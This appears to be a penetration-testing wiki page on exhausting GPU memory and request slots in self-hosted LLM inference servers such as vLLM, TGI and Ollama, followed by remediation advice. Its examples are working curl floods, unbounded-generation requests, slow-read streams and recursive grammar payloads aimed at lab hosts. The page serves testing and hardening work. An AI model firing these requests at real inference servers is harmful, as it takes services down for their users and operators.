Haxoris Wiki

Inference Server Resource Exhaustion

Description

A self-hosted serving tier is a fixed pool of GPU memory split between model weights and the KV cache, fed by a scheduler that batches many sequences continuously. vLLM, TGI, Triton and Ollama all expose knobs for context length, concurrent sequences and batched prefill tokens, and all default towards throughput rather than safety. Once the KV cache is full the scheduler stops admitting work, requests queue, and the queue drains into timeouts and 503s; in some configurations the allocator kills the process instead, taking every in-flight session with it.

An attacker needs no special access: a handful of well-formed requests with maximum context, unbounded output length or a pathological decoding constraint occupy the pool for minutes each. This is easy to miss because every individual request returns 200, and because load tests use realistic prompt sizes rather than adversarial ones. Keep a control request looping throughout and instrument the server instead of reading response codes. Spend on metered provider APIs is covered by the Denial Of Wallet Loops page.

Examples

Fill the KV cache with maximum-context requests

Read the advertised context window, then fill it while a small control request loops in another shell.

curl -s http://vllm.lab.example:8000/v1/models | python3 -m json.tool | grep -i max_model_len

python3 - <<'PY' > /tmp/poc-bigprompt.json
import json
print(json.dumps({"model": "internal-7b", "prompt": "CANARY-1234 " * 60000, "max_tokens": 16}))
PY

seq 1 12 | xargs -P 12 -I{} curl -s -o /dev/null -w '%{http_code} %{time_total}\n' \
  http://vllm.lab.example:8000/v1/completions \
  -H 'Content-Type: application/json' --data @/tmp/poc-bigprompt.json

Scrape the server while it runs. Metric names differ between vLLM releases, so check the /metrics output of the version you face:

curl -s http://vllm.lab.example:8000/metrics \
  | grep -E 'num_requests_waiting|num_requests_running|kv_cache_usage_perc|gpu_cache_usage_perc'

The finding is cache utilisation pinned near 1.0 with a non-zero waiting count while the control request’s p99 climbs. Note whether the process survives or is OOM-killed.

Hold decode slots open with unbounded generation

Stripping stop conditions turns one request into minutes of decoding. Ask for the ceiling and remove every reason to finish early.

curl -s http://vllm.lab.example:8000/v1/completions -H 'Content-Type: application/json' -d '{
  "model": "internal-7b",
  "prompt": "CANARY-1234 count upward from one, one number per line.",
  "max_tokens": 32768, "min_tokens": 32768, "ignore_eos": true, "stop": []}'

Ollama has the same shape, and its num_predict default of -1 means unbounded generation unless the caller sets a limit:

curl -s http://ollama.lab.example:11434/api/generate -d '{
  "model": "internal-7b", "prompt": "CANARY-1234 list every integer", "stream": false,
  "options": {"num_predict": -1, "num_ctx": 131072}}'

Confirm the server accepts min_tokens and ignore_eos, and time how long one slot is held. With OLLAMA_NUM_PARALLEL at its small default, a few of these take every slot; further requests queue up to OLLAMA_MAX_QUEUE (512 by default) and are then rejected.

Flood continuous batching and hold streams open

Compare a concurrency flood against the configured sequence limit (vLLM —max-num-seqs, or TGI —max-concurrent-requests, which defaults to 128), then keep connections alive by reading the stream a byte at a time.

seq 1 400 | xargs -P 400 -I{} curl -s -o /dev/null -w '%{http_code} %{time_total}\n' \
  http://vllm.lab.example:8000/v1/chat/completions -H 'Content-Type: application/json' \
  -d '{"model":"internal-7b","messages":[{"role":"user","content":"CANARY-1234 write a long essay"}],"max_tokens":4096,"stream":true}'

# slow-read: occupy a sequence slot for the whole generation without consuming it
curl -N --limit-rate 1 http://vllm.lab.example:8000/v1/chat/completions \
  -H 'Content-Type: application/json' \
  -d '{"model":"internal-7b","messages":[{"role":"user","content":"CANARY-1234"}],"max_tokens":4096,"stream":true}'

The finding is admitted concurrency well above what the hardware sustains, or slow readers holding slots with no idle-stream timeout.

Pathological decoding constraints and oversized multimodal input

Grammar and schema constraints are compiled per unique grammar, on the API server process rather than the GPU. Vary the grammar every request to defeat the compilation cache and make it deeply recursive.

{"model": "internal-7b",
 "messages": [{"role": "user", "content": "CANARY-1234"}],
 "max_tokens": 2048,
 "structured_outputs": {"grammar": "root ::= e\ne ::= \"(\" e \")\" | \"(\" e \",\" e \")\" | \"x1234\""}}

vLLM removed guided_json and guided_grammar in v0.12.0 in favour of this structured_outputs form, so try both if the version is unknown. On a vision model, send the maximum images the server allows (set by —limit-mm-per-prompt, for example image=8) at the largest accepted resolution, since each image expands into a large block of prefill tokens. In both cases the finding is time-to-first-token and API-server CPU rising sharply while GPU utilisation stays low.

Remediation

  1. Size limits below hardware capacity
    • Set —max-model-len, —max-num-seqs and —max-num-batched-tokens (or TGI’s —max-input-tokens, —max-total-tokens and —max-batch-prefill-tokens) from a load test that ends in graceful rejection, not OOM.
    • Leave headroom in —gpu-memory-utilization so a burst degrades latency instead of killing the process.
  2. Clamp per-request generation server-side
    • Reject or overwrite client-supplied max_tokens, min_tokens, ignore_eos and num_predict at the gateway.
    • Apply idle-stream and total-request timeouts so slow readers cannot hold sequence slots.
  3. Queue and admit per tenant
    • Front the tier with a gateway enforcing per-tenant concurrency and token-rate limits, a bounded queue and fast rejection when full.
    • Keep separate pools for interactive and batch traffic.
  4. Constrain expensive input shapes
    • Cap multimodal items and resolution per request, and restrict structured output to an allowlist of pre-compiled schemas and grammars.
  5. Alert on saturation, not failure
    • Page on sustained queue depth, KV-cache utilisation, time-to-first-token, time-per-output-token and OOM restarts before requests start failing.